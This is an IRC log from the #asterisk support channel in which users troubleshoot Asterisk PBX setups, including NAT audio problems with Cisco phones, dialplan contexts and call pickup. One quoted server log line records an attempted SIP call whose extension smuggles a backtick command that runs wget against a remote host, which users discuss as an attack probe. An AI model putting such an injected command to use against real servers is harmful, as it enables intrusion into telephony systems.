| 00:07.44 | *** join/#asterisk zerohalo (~zerohalo@50.12.145.11) |
| 00:11.42 | *** join/#asterisk wdoekes2 (~walter@wjd.osso.nl) |
| 00:12.53 | *** part/#asterisk Tech_Travis (~Travis_El@cpe-76-168-191-127.socal.res.rr.com) |
| 00:23.42 | *** join/#asterisk DanFromUK (DanFromUK@2.27.26.189) |
| 00:24.59 | DanFromUK | hi, i think i've got a nat issue, however, i've mapped ports 10000 to 20000 to the phone, asterisk's rtp.conf is set to 10000 to 20000, and the phone's media ports are set to 10000 to 20000. Therefore, in theory, i should now have audio, but i dont. |
| 00:25.15 | rotten777 | you've mapped UDP? |
| 00:25.19 | rotten777 | not tcp? |
| 00:25.22 | DanFromUK | any ideas? the caller can hear me, but I cant hear the caller. I am behind the nat. |
| 00:25.25 | DanFromUK | yep udp |
| 00:25.48 | p3nguin | Asterisk is behind one NAT and the phone behind another? |
| 00:25.59 | DanFromUK | asterisk is on a public ip |
| 00:26.05 | DanFromUK | in a data centre. |
| 00:26.23 | rotten777 | i know what's going on... you spelled center wrong. tada! fixed ;) |
| 00:26.40 | p3nguin | Did you set your phone's sip peer entry to nat=yes? |
| 00:26.41 | DanFromUK | lol. |
| 00:26.57 | p3nguin | Normally, no port forwarding is needed on the phone's side. |
| 00:26.59 | DanFromUK | if i set nat=yes, then it breaks the auth |
| 00:27.04 | DanFromUK | so i have to set it to no |
| 00:27.08 | rotten777 | that won't work |
| 00:27.34 | p3nguin | If the phone is behind NAT, you'd better configure asterisk for it correctly. |
| 00:28.40 | DanFromUK | the problem is, these cisco phones are like my grandmother. things have to be done a certain way, otherwise she gets confused, bless her. |
| 00:28.53 | DanFromUK | all my other extensions are set to nat=yes. |
| 00:28.58 | p3nguin | No they aren't./ |
| 00:29.00 | DanFromUK | but cisco phones dont like that. |
| 00:29.17 | p3nguin | They aren't, because you can't set such things on extensions. |
| 00:29.52 | DanFromUK | p3nguin: what? you can set nat=yes or nat=no on peers. |
| 00:29.59 | p3nguin | That's right. |
| 00:30.31 | DanFromUK | sorry, im doing the extensions/peers thing again. |
| 00:31.17 | DanFromUK | i thought that if i set nat=no and mapped all the ports, i would get audio, but it didnt seem to sort it. |
| 00:31.28 | DanFromUK | am i correct in theory? |
| 00:31.32 | p3nguin | No. |
| 00:31.50 | p3nguin | You have to set nat=yes for the phone if the phone is behind nat. |
| 00:31.59 | *** part/#asterisk shadowapex (~William@adsl-99-36-142-6.dsl.irvnca.sbcglobal.net) |
| 00:32.07 | DanFromUK | if i set nat=yes, then the phone wont register. |
| 00:32.14 | p3nguin | Then you're doing it wrong. |
| 00:32.35 | p3nguin | And you normally do not need to forward ports for phones. |
| 00:34.45 | DanFromUK | its a technical issue with the cisco 7945. |
| 00:34.49 | p3nguin | For my Cisco phone using SIP on a remote network behind NAT, I have nat=yes, canreinvite=no, host=dynamic, and qualify=yes. |
| 00:35.04 | DanFromUK | what phone is it? |
| 00:35.11 | p3nguin | 7912 |
| 00:35.49 | p3nguin | And there are no ports forwarded for the phone; I do not have access to the router/firewall. |
| 00:36.01 | DanFromUK | it seems the 7945 doesnt like it. i've seen it on a few sites. it wants asterisk to reply on a certain port, no the port that its sending on. |
| 00:36.16 | DanFromUK | just trying to find a site |
| 00:36.24 | p3nguin | Did you set insecure=port? |
| 00:36.54 | DanFromUK | insecure= nothing at the moment |
| 00:37.21 | p3nguin | Set insecure=port for the phone and sip reload it. See if that makes any difference. |
| 00:37.29 | *** join/#asterisk DrDigi (~mmurphy@c-67-181-122-100.hsd1.ca.comcast.net) |
| 00:38.31 | DanFromUK | no luck |
| 00:39.15 | p3nguin | Are you using type=peer or type=friend? |
| 00:39.23 | DanFromUK | peer |
| 00:39.34 | DanFromUK | here's a link that talks about the issue |
| 00:39.35 | DanFromUK | http://nch.invisionzone.com/index.php?showtopic=15687&view=&hl=cisco&fromsearch=1 |
| 00:40.03 | DanFromUK | i found another site that pointed out that nat=no would resolve the AUTH issue, but now i have an audio issue |
| 00:41.33 | p3nguin | nat=yes fixes the audio issue. |
| 00:41.50 | DanFromUK | audio is useless if i can't authenticate. |
| 00:42.07 | DanFromUK | the phone sends out a register command |
| 00:42.34 | DanFromUK | asterisk replies with unauthorized, but sends it to a port that the phone doesnt want |
| 00:44.20 | DanFromUK | ok, ive set nat=yes. but now the phone can't register. what would you suggest i should check? |
| 00:44.40 | p3nguin | I'd like to see a debug of the REGISTERs from it. |
| 00:46.11 | KavanS | does asterisk need "real" hardware to run? |
| 00:46.21 | KavanS | i.e. can it be virtualized and run in an virtualized environment? |
| 00:46.41 | DanFromUK | http://pastebin.com/NpCwXfHK |
| 00:47.05 | DanFromUK | KavanS: it can be virtualized. we run our asterisk on a virtual env. |
| 00:47.48 | DanFromUK | p3nguin: there's the sip debug. as you can see, its unauthorized when nat=yes |
| 00:47.51 | KavanS | nice... |
| 00:48.03 | KavanS | ok wasn't sure if I need a TDM card in a voip only environment |
| 00:48.20 | KavanS | was hoping to be able to virtualize it :) |
| 00:48.38 | DanFromUK | KavanS: some platforms arent suited to asterisk. its just a case of trying them out. |
| 00:48.53 | KavanS | yep...I can imagine... |
| 00:50.29 | DanFromUK | p3nguin: the same settings (nat=yes) with a polycom phone, behind the same nat, plugged into the same network cable, work fine. |
| 00:50.37 | r33dtard | anyway to turn on debug so I can see what dialplan asterisk is using? |
| 00:51.18 | p3nguin | r33dtard: Huh? Turn on debug so you can see what dialplan it's using? That's a new one. |
| 00:51.25 | p3nguin | r33dtard: What are you actually trying to do? |
| 00:53.02 | p3nguin | danfromuk: Try type=friend and insecure=port. |
| 00:53.09 | p3nguin | and nat=yes, of course. |
| 00:53.31 | DanFromUK | p3nguin: sorry, just checked, and type is already friend. |
| 00:53.43 | p3nguin | Then try it as peer. |
| 00:54.49 | DanFromUK | already on it. 1sec |
| 00:55.28 | DanFromUK | still unauthorized |
| 00:57.17 | r33dtard | penguin: LOL...Im trying to debug why asterisk will receive an outgoing call but it wont push it out my SIP trunk |
| 00:58.17 | ChannelZ | turn on some verbose to see the dialplan |
| 00:58.37 | ChannelZ | core set verbose 3 |
| 01:00.13 | r33dtard | I have it set to 5 |
| 01:00.13 | r33dtard | :D |
| 01:03.58 | p3nguin | If you want to see the dialplan, "dialplan show" is the command for that. |
| 01:04.31 | p3nguin | If you want to see what matches a particular extension in a context, dialplan show number@context, where number is the number you're trying to match. |
| 01:04.59 | p3nguin | If you want to see what is happening in the call, the verbose will show that. |
| 01:05.43 | r33dtard | when I try the dialplan show command I get no existance of extension |
| 01:06.22 | p3nguin | If dialplan show does not show any dialplan, you have big problems. |
| 01:06.40 | r33dtard | no dialplan show does show stuff |
| 01:06.53 | r33dtard | its when I do dialplan show <number>@longdistance is when I get the error |
| 01:08.13 | DanFromUK | p3nguin: have you ever tried using SCCP with asterisk? does that also have nat issues? |
| 01:08.15 | p3nguin | If you want to see everything in longdistance, you can use dialplan show longdistance |
| 01:08.45 | p3nguin | I do use SCCP with asterisk for my Cisco phones, but not over the internet... at least not without VPN. |
| 01:09.04 | p3nguin | Over the net, I use SIP. |
| 01:09.05 | *** join/#asterisk makafre (45a5d6d8@gateway/web/freenode/ip.69.165.214.216) |
| 01:09.31 | makafre | hey guys |
| 01:09.44 | p3nguin | hay |
| 01:10.02 | r33dtard | p3nguin: now when I do dialplan show <number>@longdistance it works...I had to remove the 9 in the front of the extension |
| 01:10.18 | r33dtard | but the call still does not get passed to the sip trunk |
| 01:10.21 | p3nguin | 9? Why would there be a 9 on the front of it? |
| 01:10.26 | r33dtard | dunno |
| 01:10.30 | r33dtard | that was factory |
| 01:10.36 | p3nguin | Some weirdo must have had his hands in it. |
| 01:10.42 | r33dtard | lol |
| 01:10.42 | p3nguin | Or he programmed it back in 1986. |
| 01:10.49 | DanFromUK | just thinking, maybe i could just establish a vpn and avoid this whole nat thing all together. |
| 01:11.11 | makafre | can someone tell me what is wrong with this, as it doesn't interpret the su flag correctly with 1.6.2.19 : $AGI->exec('Voicemail', $exten . '@' . $ctx ,'su'); |
| 01:11.11 | p3nguin | It should be easy enough. |
| 01:11.27 | r33dtard | so what I am seeing is that asterisk is receiving the call request on IAX but its not doing anything with it |
| 01:11.47 | p3nguin | r33dtard: What does your extension look like? |
| 01:11.56 | p3nguin | in other words, show me the command it is running. |
| 01:12.05 | r33dtard | ok |
| 01:12.10 | DanFromUK | p3nguin: thanks for your help. |
| 01:12.37 | r33dtard | dialplan show 1xxxyyyzzzz@longdistance |
| 01:12.37 | r33dtard | [ Included context 'trunkld' created by 'pbx_config' ] |
| 01:12.37 | r33dtard | <PROTECTED> |
| 01:12.37 | r33dtard | <PROTECTED> |
| 01:12.56 | r33dtard | is that what you wanted to see? |
| 01:12.59 | p3nguin | Yes. |
| 01:13.02 | r33dtard | k |
| 01:13.08 | p3nguin | Now... are you trying to use DUNDi? |
| 01:13.19 | r33dtard | no |
| 01:13.20 | r33dtard | oh |
| 01:13.21 | r33dtard | I see |
| 01:13.49 | p3nguin | To me, this looks like some funky-ass FreePBX dialplan. |
| 01:14.12 | r33dtard | how can I reload extensions ? |
| 01:14.18 | p3nguin | dialplan reload |
| 01:14.21 | r33dtard | k |
| 01:14.28 | r33dtard | nope its straight from astrisk source |
| 01:14.41 | p3nguin | You're not supposed to try to use the SAMPLE dial plan! |
| 01:14.58 | p3nguin | It's a mere example for reference purposes. |
| 01:15.26 | p3nguin | Let me show you a working dialplan that implements outbound dialing rules. |
| 01:15.43 | p3nguin | http://pastebin.com/Piqv4Egj |
| 01:16.36 | r33dtard | yeah I have been hakcing it apart for a while |
| 01:16.53 | makafre | so anyone has tried the voicemail cmd within a 1.6 Agi script using flags? |
| 01:19.59 | r33dtard | curiously I took out the dundi-e164 line and now when I run that same command I get an error |
| 01:20.55 | r33dtard | nevermind fixed it |
| 01:21.58 | p3nguin | You're not supposed to try to use the sample file. |
| 01:22.05 | r33dtard | lol |
| 01:22.22 | p3nguin | Move it to another location, and start writing your dialplan as you need it. I even gave you a WORKING EXAMPLE for your reference. |
| 01:22.38 | r33dtard | p3nguin: be back in a while...have to head to work I'll work on this more there. Thanks |
| 01:22.54 | *** join/#asterisk coppice (~chatzilla@m121-202-85-23.smartone-vodafone.com) |
| 01:23.39 | p3nguin | I wish someone would write a document or something that says not to use the sample files. |
| 01:24.00 | p3nguin | Or add something to it so it will not work if it is used. |
| 01:27.40 | *** join/#asterisk saxa (~sasa@189.26.255.43) |
| 01:32.13 | *** join/#asterisk WiretapWork (~wiretap@unaffiliated/wiretap) |
| 01:33.11 | *** join/#asterisk delki8 (~delki8@189.5.136.31) |
| 01:49.39 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 02:08.03 | cyford | are there sip scanners that just scan the internet for voip accounts to mess up? lol |
| 02:08.38 | cyford | these stupid machines cost people 1000s |
| 02:12.34 | *** join/#asterisk zerohalo (~zerohalo@74.60.136.128) |
| 02:15.28 | *** join/#asterisk luckyaba (~Lucky@ip72-194-218-169.sb.sd.cox.net) |
| 02:16.01 | luckyaba | anyone know SIP provider that has a very high or unlimited outbound channel ? |
| 02:16.18 | luckyaba | that preferably doesn't charge a high dollar amount per trunk |
| 02:21.38 | cyford | voicepulse |
| 02:21.48 | cyford | callcentric |
| 02:22.12 | cyford | international or local |
| 02:27.18 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 02:31.18 | *** join/#asterisk i3inary (~i3inary@ip68-6-157-231.sd.sd.cox.net) |
| 02:40.18 | *** join/#asterisk xerious (~boo@unaffiliated/batphone) |
| 02:40.23 | xerious | found this in a log: [Sep 13 18:25:56] NOTICE[21112]: chan_sip.c:20163 handle_request_invite: Call from '' to extension '00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php/` |
| 02:40.50 | luckyaba | nice! |
| 02:40.55 | p3nguin | I had one of those earlier, too. |
| 02:41.10 | xerious | p3nguin: payload? |
| 02:41.31 | p3nguin | Sure. |
| 02:43.02 | xerious | Its the Russians! |
| 02:44.47 | p3nguin | It came from 205.234.99.75 |
| 02:45.04 | p3nguin | Virtacore Systems Inc |
| 02:45.44 | xerious | Must be fun to not give a shit. |
| 02:46.17 | p3nguin | I had intended to see what http://91.223.89.94/V.php was, but never got around to it today. |
| 02:46.30 | xerious | Well, time to format shit. Laters. |
| 02:47.15 | p3nguin | Huh? |
| 02:47.41 | p3nguin | The file system got corrupted just because of an anonymous SIP call? |
| 02:50.10 | *** join/#asterisk gxdssoft (~gxdssoft@190.234.164.61) |
| 02:50.59 | cyford | i love asterisk in virtual machines... asterisk die, one button asterisk back again... hello asterisk... |
| 02:56.48 | cstachris | p3nguin, i suspect it's a "this server is compromised" php script |
| 02:57.21 | p3nguin | I figured it wasn't of any use to me. |
| 02:59.09 | cstachris | xerious, was that the trace in the log - with back ticks? |
| 03:00.33 | p3nguin | The backticks were part of the extension. |
| 03:00.38 | *** join/#asterisk The_REV (~The_REV@c-76-21-1-80.hsd1.ca.comcast.net) |
| 03:00.44 | p3nguin | I have a DumpChan() of it, if you'd like to see it. |
| 03:03.52 | cstachris | p3nguin, thanks |
| 03:03.56 | *** join/#asterisk mindCrime_ (~chatzilla@cpe-076-182-089-009.nc.res.rr.com) |
| 03:05.12 | *** join/#asterisk zerohalo (~zerohalo@74.60.136.128) |
| 03:09.25 | r33dtard | p3nguin: I created a fresh extensions file with just one exten. |
| 03:09.51 | r33dtard | when routeing to SIP should the exten read: exten => _1NXXNXXXXXX,1,Dial(SIP/Teliax/${EXTEN}); |
| 03:10.20 | p3nguin | If the peer name is "Teliax", then that looks pretty good to me. |
| 03:11.11 | r33dtard | yes |
| 03:11.57 | r33dtard | so I am still having an issue with it routing calls out the SIP from IAX |
| 03:12.28 | p3nguin | You're going to have to explain to me what you mean when you say "routing calls out the SIP from IAX." |
| 03:13.03 | r33dtard | i am trying to get Warvox (which is IAX only) to send its calls through asterisk to my SIP only provider |
| 03:13.18 | r33dtard | so I have warvox configured to talk IAX to asterisk |
| 03:13.20 | p3nguin | That should be easy enough. |
| 03:13.23 | p3nguin | okay |
| 03:13.36 | p3nguin | So warvox has a peer entry in iax.conf. |
| 03:13.39 | r33dtard | what I am stuck is getting asterisk to then route that to the SIP provider |
| 03:13.41 | r33dtard | yes |
| 03:13.50 | p3nguin | What is the context in that peer? |
| 03:13.58 | r33dtard | I can see that warvox is talking to asterisk |
| 03:14.01 | r33dtard | hold on |
| 03:14.42 | r33dtard | [warvox] |
| 03:14.42 | r33dtard | type=friend |
| 03:14.42 | r33dtard | host=127.0.0.1 |
| 03:14.42 | r33dtard | context=teliax-out |
| 03:14.42 | r33dtard | auth=plaintext |
| 03:14.43 | r33dtard | secret=****** |
| 03:14.45 | r33dtard | requirecalltoken=no |
| 03:14.48 | p3nguin | Don't flood here. |
| 03:14.51 | p3nguin | ~pb |
| 03:14.52 | infobot | [~pb] A "pastebin" is a web-based service where you should paste anything over 3 lines so you don't flood the channel. Here are links to a few: http://www.pastebin.com , http://pastebin.us , http://pastebin.ca , http://channels.debian.net/paste , http://paste.lisp.org , http://bin.cakephp.org/ , http://asterisk.pastey.net/ ; or install pastebinit with yum or aptitude. |
| 03:15.08 | p3nguin | And what do you have in your teliax-out context? |
| 03:15.54 | r33dtard | sorry |
| 03:16.31 | r33dtard | teliax out is in the extensions file which was what I sent above |
| 03:17.39 | p3nguin | In the teliax-out context, you have only that one extension? |
| 03:17.47 | r33dtard | yes |
| 03:18.05 | p3nguin | How is the warvox pbx configured to send calls to asterisk? |
| 03:18.55 | r33dtard | just connects to localhost:4569 with the user/pass I specified |
| 03:19.36 | p3nguin | I'm interested to know how the call arrives at asterisk. |
| 03:20.04 | p3nguin | Have you turned up core verbose to see if there is any call progress? |
| 03:20.32 | r33dtard | yes its at 5 |
| 03:22.06 | r33dtard | log snippet: http://pastebin.com/U38TAVFb |
| 03:22.12 | r33dtard | thats what I see when warvox tries to send |
| 03:23.23 | p3nguin | So you're running warvox and asterisk on the same computer? |
| 03:24.54 | r33dtard | yes |
| 03:26.47 | p3nguin | I just lost all interest. |
| 03:27.13 | r33dtard | ok |
| 03:27.26 | r33dtard | thanks for the help |
| 03:28.30 | p3nguin | Maybe you could set up a couple IP address aliases and have asterisk iax2 on one and warvox iax2 on another, that way at least it would not try to share the only iax2 port it has. |
| 03:32.28 | r33dtard | intersting idea |
| 03:38.02 | *** join/#asterisk timahvo1 (~rogue@41.223.57.77) |
| 03:38.32 | *** join/#asterisk gerhard7 (~gerhard7@82-171-103-215.ip.telfort.nl) |
| 03:47.01 | *** join/#asterisk mintos (mvaliyav@nat/redhat/x-jgrzfywvoqcwnmcl) |
| 03:52.32 | *** join/#asterisk Buklov (~Buklov@mail.sapsun.su) |
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| 03:56.30 | *** join/#asterisk zoid_99 (~chris@24.42.235.161) |
| 03:57.49 | zoid_99 | i guess zero is not a number? WARNING[28319] res_odbc.c: Limit should be a number, not a boolean: '0'. Disabling ODBC class 'postgres'. |
| 03:58.27 | pabelanger | zoid_99: what version of Asterisk? |
| 03:58.36 | zoid_99 | 1.8.5 |
| 03:58.51 | zoid_99 | 00 works :) |
| 04:00.03 | pabelanger | heh, ya, a bug |
| 04:00.08 | pabelanger | open an issue on the tracker |
| 04:00.14 | zoid_99 | truth is I'm not even sure what Limit does for ODBC but in all of the examples it is zero |
| 04:01.23 | pabelanger | Spent all day looking at Asterisk config file parsing, so that logic needs to be update |
| 04:10.04 | *** join/#asterisk slidesinger (~slidesing@c-68-44-99-163.hsd1.nj.comcast.net) |
| 04:21.11 | *** join/#asterisk Defraz (~Defraz@70.36.76.167) |
| 04:22.24 | zoid_99 | yeah... seems to be a bug... |
| 04:22.30 | zoid_99 | <PROTECTED> |
| 04:22.31 | zoid_99 | <PROTECTED> |
| 04:22.31 | zoid_99 | <PROTECTED> |
| 04:22.31 | zoid_99 | <PROTECTED> |
| 04:22.32 | zoid_99 | <PROTECTED> |
| 04:22.32 | zoid_99 | <PROTECTED> |
| 04:22.32 | zoid_99 | <PROTECTED> |
| 04:22.32 | zoid_99 | <PROTECTED> |
| 04:22.33 | zoid_99 | <PROTECTED> |
| 04:22.34 | zoid_99 | oops |
| 04:22.49 | zoid_99 | shouldn't have posted all of that |
| 04:27.28 | *** join/#asterisk MaliutaLap (~biteme@2001:5c0:1400:a::7) |
| 04:28.24 | *** join/#asterisk jkroon (~jkroon@41.54.124.97) |
| 04:32.16 | *** join/#asterisk fisted (~fisted@unaffiliated/fisted) |
| 04:40.00 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 04:43.16 | *** join/#asterisk irroot (~irroot@41.52.107.165) |
| 04:43.46 | *** join/#asterisk dre (dre@gateway/shell/xzibition.com/x-cqqfglaisdhxjyhn) |
| 04:44.51 | dre | so what do you guys think is the best way to fax with asterisk |
| 04:45.08 | zoid_99 | I don't think I understand IRC anymore.. 193 in channel and no one says a word |
| 04:45.28 | luke-jr | zoid_99: I don't think you ever did ;) |
| 04:45.46 | p3nguin | dre: I fax with fax for asterisk. |
| 04:51.28 | ChannelZ | WORD |
| 04:57.35 | *** join/#asterisk titter (~Justin@c-76-101-15-40.hsd1.fl.comcast.net) |
| 05:01.40 | *** join/#asterisk xSmurf (~MrSmurf@unaffiliated/mrsmurf) |
| 05:01.41 | *** join/#asterisk mocker (~mocker@206.55.118.84) |
| 05:45.47 | *** join/#asterisk infobot (~infobot@rikers.org) |
| 05:45.47 | *** topic/#asterisk is #asterisk Asterisk: The Open Source PBX and Telephony Platform (asterisk.org) -=- Asterisk 10.0.0-beta1 (2011/07/22), 1.8.6.0 (2011/08/31), dahdi-linux 2.5.0.1 (2011/09/08), dahdi-tools 2.5.0.1 (2011/09/08), libpri 1.4.12 (2011/07/06) -=- Visit the official Asterisk wiki: wiki.asterisk.org -=- http://xkcd.com/806/ |
| 05:46.10 | atan | Is res_odbc what I am using? I've setup res_mysql_config I believe it's called |
| 05:46.21 | atan | Perhaps I need to compile the odbc part in or something? :-) |
| 05:47.33 | atan | <PROTECTED> |
| 05:47.33 | wdoekes2 | no.. if you're using res_(config_)mysql, you don't need odbc |
| 05:47.36 | kaldemar | atan: only if you want to use odbc. |
| 05:47.38 | atan | I think I might have missed something? |
| 05:48.20 | atan | <PROTECTED> |
| 05:48.25 | atan | Perhaps I should switch it up! :-) |
| 05:49.59 | wdoekes2 | you could do that: install unixodbc-dev, libmyodbc, configure /etc/odbc{,inst}.ini and test if it works with isql(1) |
| 05:52.23 | atan | Will give this a go :-) configing * here again now |
| 05:53.02 | wdoekes2 | good luck, I'm off |
| 05:53.10 | atan | Take care :-) |
| 05:53.13 | atan | Thanks you two |
| 06:03.34 | *** join/#asterisk schmidts (~schmidts@Lo20-rt01.lm33.sil.at) |
| 06:03.36 | schmidts | good morning |
| 06:11.39 | *** join/#asterisk Ad-Hoc (~nimbus@194.30.241.105) |
| 06:12.49 | *** join/#asterisk cyborg-one (1000@31.31.106.99) |
| 06:19.03 | *** join/#asterisk gerhard7 (~gerhard7@82-171-103-215.ip.telfort.nl) |
| 06:31.47 | *** join/#asterisk drzed (~drzed@synflood.homelinux.org) |
| 06:32.00 | drzed | hi there! |
| 06:33.52 | drzed | asterisk tells "Call from '34' to extension '23241' rejected because extension not found", but "dialplan show 23241@" shows me the correct extension |
| 06:33.59 | drzed | am i missung something? |
| 06:34.09 | drzed | s/u/i/ |
| 06:44.57 | ChannelZ | in the same context? |
| 06:47.37 | *** join/#asterisk NourSs (~gholzinge@LAubervilliers-151-13-22-64.w217-128.abo.wanadoo.fr) |
| 06:48.19 | drzed | diffrent context but included |
| 06:48.39 | NourSs | Hi, i sell two Digium card on eBay, tell for me for link to ebay, Thx :-) |
| 06:48.51 | drzed | http://nopaste.info/3441d10e12.html |
| 06:49.41 | *** join/#asterisk cerberus_za (~coert@41-134-110-162.dsl.mweb.co.za) |
| 06:50.14 | schmidts | drzed and in which context is the phone which tries to dial 23241? |
| 06:50.43 | Rico29 | hi all |
| 06:51.05 | Rico29 | can somebody remember me how to do a backtrace when asterisk doesn't crash ? |
| 06:52.15 | schmidts | Rico29 gdb /usr/sbin/asterisk $( pidof asterisk ) |
| 06:52.31 | Rico29 | and it will not kill the asterisk process ? |
| 06:52.39 | schmidts | no but its stuck |
| 06:52.43 | drzed | schmidts: in the context "lokal", which also is included in default |
| 06:52.44 | schmidts | give me a second |
| 06:53.28 | kaldemar | drzed: what context does the call land into? |
| 06:54.03 | *** join/#asterisk den512 (~dradon@carbon.gonicus.de) |
| 06:54.35 | drzed | idsn-out |
| 06:54.39 | ChannelZ | drzed: are you sure? you never said what context the 'exten not found' message said |
| 06:55.18 | kaldemar | drzed: i don't believe you. enable verbosity and debug to see what context is used. |
| 06:56.02 | kaldemar | if it was in isdn-out, you wouldn't see that rejection message. |
| 06:56.12 | Rico29 | schmidts, somebody gave me a more complex command a few months ago... |
| 06:56.23 | Rico29 | which worked well |
| 06:56.33 | Rico29 | but I can't remember it |
| 06:56.41 | schmidts | Rico29 yes i know, there is a way to start the commands you need directly into gdb and quit after it, i am searching for this right now |
| 06:56.54 | schmidts | i know the commands but i am not sure how to give it to gdb |
| 06:57.11 | kaldemar | Rico29: https://wiki.asterisk.org/wiki/display/AST/Getting+a+Backtrace |
| 06:57.32 | Rico29 | ok schmidts thanks a lot |
| 06:57.44 | drzed | kaldemar: |
| 06:57.46 | drzed | <PROTECTED> |
| 06:57.46 | drzed | [Sep 14 08:57:06] NOTICE[7094]: chan_sip.c:14441 handle_request_invite: Call from '34' to extension '23241' rejected because extension not found. |
| 06:57.49 | drzed | <PROTECTED> |
| 06:57.52 | drzed | <PROTECTED> |
| 06:58.17 | schmidts | drzed please pastebin the output of "sip show peer 34" and show us |
| 06:58.24 | Rico29 | schmidts : gdb `which asterisk` -p `pidof asterisk` -ex 'thread apply all bt' -ex 'thread apply all bt full' -ex detach -ex quit > /tmp/gdb.txt |
| 06:58.49 | schmidts | yes :D |
| 06:59.27 | drzed | schmidts: http://nopaste.voric.com/paste.php?f=f2jwz1 |
| 06:59.42 | schmidts | drzed: Context : lokal |
| 07:00.00 | schmidts | your sip peer is in the wrong context, thats why he cant find this extension |
| 07:00.20 | drzed | but lokal is include in default, as well as isdn-out |
| 07:00.39 | kaldemar | drzed: irrelevant. isdn-out should be included in lokal. |
| 07:00.55 | kaldemar | it doesn't matter what you include in default if it is not used. |
| 07:01.59 | ChannelZ | it's a chain |
| 07:02.22 | ChannelZ | a context is only aware of other contexts IT includes, not the other way around |
| 07:02.58 | drzed | k, got it |
| 07:03.00 | ChannelZ | IE if context1 includes context2, that doesn't mean context2 can also see all of context1's extens. |
| 07:03.22 | ChannelZ | (to a device in context2) |
| 07:03.31 | *** join/#asterisk bbryant (~brett@c-174-56-132-225.hsd1.sc.comcast.net) |
| 07:04.39 | drzed | ok now another question regarding pickup; im calling 35=>30 and try to pick up w/ 34 (calling *830) |
| 07:05.11 | kaldemar | drzed: what does *830 do? |
| 07:06.17 | drzed | kaldemar: it should pick to call from extension 30 - at the moment only *8 works (no directed pickup) |
| 07:06.53 | drzed | http://nopaste.voric.com/paste.php?f=1qrzqu <-- here are the debug messages |
| 07:06.59 | kaldemar | drzed: sure it should pick up a call, but what does it do exactly? as in what is the extension? |
| 07:07.42 | drzed | kaldemar: the phone tells me "*830 declined" and asterisk tells me ">No channel found 1073741824. |
| 07:07.54 | ChannelZ | Pickup() needs an extension, not a channel |
| 07:08.10 | *** join/#asterisk tzafrir (~tzafrir@local.xorcom.com) |
| 07:08.21 | ChannelZ | It searches though ringing channels on its own looking for one which caused the ring by dialing the extension you want to pickup |
| 07:08.46 | ChannelZ | like Pickup(${EXTEN:2})@context) |
| 07:08.53 | ChannelZ | lokal or whatever |
| 07:09.15 | ChannelZ | callgroup/pickup group configs also apply |
| 07:09.19 | drzed | http://nopaste.voric.com/paste.php?f=pdctbc <-- well i guess id called an extensions |
| 07:10.24 | ChannelZ | sorry I misread -- |
| 07:11.11 | ChannelZ | the crazy channel number threw me off |
| 07:11.17 | ChannelZ | I'm not sure what the heck that is about |
| 07:12.00 | ChannelZ | what version is this btw |
| 07:12.02 | *** join/#asterisk bbryant (~brett@c-174-56-132-225.hsd1.sc.comcast.net) |
| 07:13.23 | ChannelZ | (the interesting thing is 1073741824 is a gigabyte..) |
| 07:14.13 | ChannelZ | which is a little deja-vu, someone had a similar problem with a coincidental number like that the other day. Unless that was you with this same problem. I don't remember really. |
| 07:14.27 | drzed | ChannelZ: i also noticed that 2^30 .... version 1.4.21.2~dfsg-3+lenny5 |
| 07:17.15 | ChannelZ | barring a bug, are your pickup/callgroups defined for those peers in sip.conf? |
| 07:17.52 | ChannelZ | I'd also throw the context in your Pickup for good measure, see if it behaves any differently. Otherwise on the surface it seems like what you're doing is right |
| 07:19.27 | drzed | ChannelZ: http://nopaste.voric.com/paste.php?f=nkynua <--- sip.conf for 30; others are besides the 30 the same |
| 07:20.52 | ChannelZ | so all group 2 |
| 07:21.18 | *** join/#asterisk r33dtard (~r33dtard@gateway/tor-sasl/r33dtard) |
| 07:23.05 | drzed | yess |
| 07:25.39 | drzed | i guess i really should upgrade to 1.6.xx but i'm shomeway reluctant bw/ i'm afraid the zaptel stuff would not be comptible |
| 07:26.14 | ChannelZ | how so |
| 07:26.28 | ChannelZ | I mean it's DAHDI now, but are you using some wacky custom drivers or something? |
| 07:27.59 | drzed | no not really ... just thinking never touch a running system ;) |
| 07:28.49 | ChannelZ | Mine is not complex by any meands but I've bounced from 1.4 to 1.6 to 1.8 with no issues.. TDM800 card |
| 07:29.12 | drzed | ok, sounds promising |
| 07:29.15 | ChannelZ | Just have to read the upgrade notes as a few config option names have changed along the way |
| 07:29.42 | *** join/#asterisk irroot (~irroot@pbx.distrotech.co.za) |
| 07:30.06 | ChannelZ | I know at one point there was some sort of compatibility option or something could set so you could still use Zap/... channel names instead of having to replace them all with DAHDI/... but I'm not recalling where or what it was |
| 07:30.40 | ChannelZ | anyway I gotta head to bed |
| 07:30.55 | drzed | k, thx && gn8 |
| 07:31.00 | ChannelZ | good luck |
| 07:32.23 | *** join/#asterisk didnot (~didnot@unaffiliated/didnot) |
| 07:32.42 | irroot | big presentation coming up asterisk+ ITSP looking for a asterisk solution |
| 07:34.36 | *** join/#asterisk Faustov (user@gentoo/user/faustov) |
| 07:40.19 | schmidts | irroot what do you mean? |
| 07:40.40 | *** join/#asterisk _mwoodj_ (~mwoodj@pdpc/sponsor/digium/hyper-eye) |
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| 08:01.11 | *** join/#asterisk ocx (c27e0e65@gateway/web/freenode/ip.194.126.14.101) |
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| 08:07.20 | coppice | big presentation == >500 power point slides |
| 08:10.39 | schmidts | sounds like a presantion leif allways makes :D |
| 08:12.15 | *** join/#asterisk xpot (~xpot@166-70-100-198.ip.xmission.com) |
| 08:15.00 | NourSs | Hi, i sell two Digium card on eBay, tell for me for link to ebay, Thx |
| 08:15.15 | NourSs | Very low price ;-) |
| 08:17.16 | *** join/#asterisk dandre (~daniel@ble59-2-81-56-122-47.fbx.proxad.net) |
| 08:18.36 | *** join/#asterisk brdude (~brdude@c-24-5-194-184.hsd1.ca.comcast.net) |
| 08:31.50 | *** join/#asterisk DND (~ctcarino@94.200.7.26) |
| 08:32.01 | DND | hi guys i need a dialplan that can blind transfer a call |
| 08:35.40 | *** join/#asterisk xSmurf (~MrSmurf@unaffiliated/mrsmurf) |
| 08:36.12 | kaldemar | DND: elaborate, please. |
| 08:36.57 | DND | ok i have asterisknow and a2billing installed. and the users cannot transfer any call using ## |
| 08:37.16 | kaldemar | should they? |
| 08:37.22 | DND | ok let me redo the process so it will be much clearer |
| 08:37.39 | DND | we just want to blind transfer internally |
| 08:38.09 | DND | if we change a2billing context to from-internal, it works |
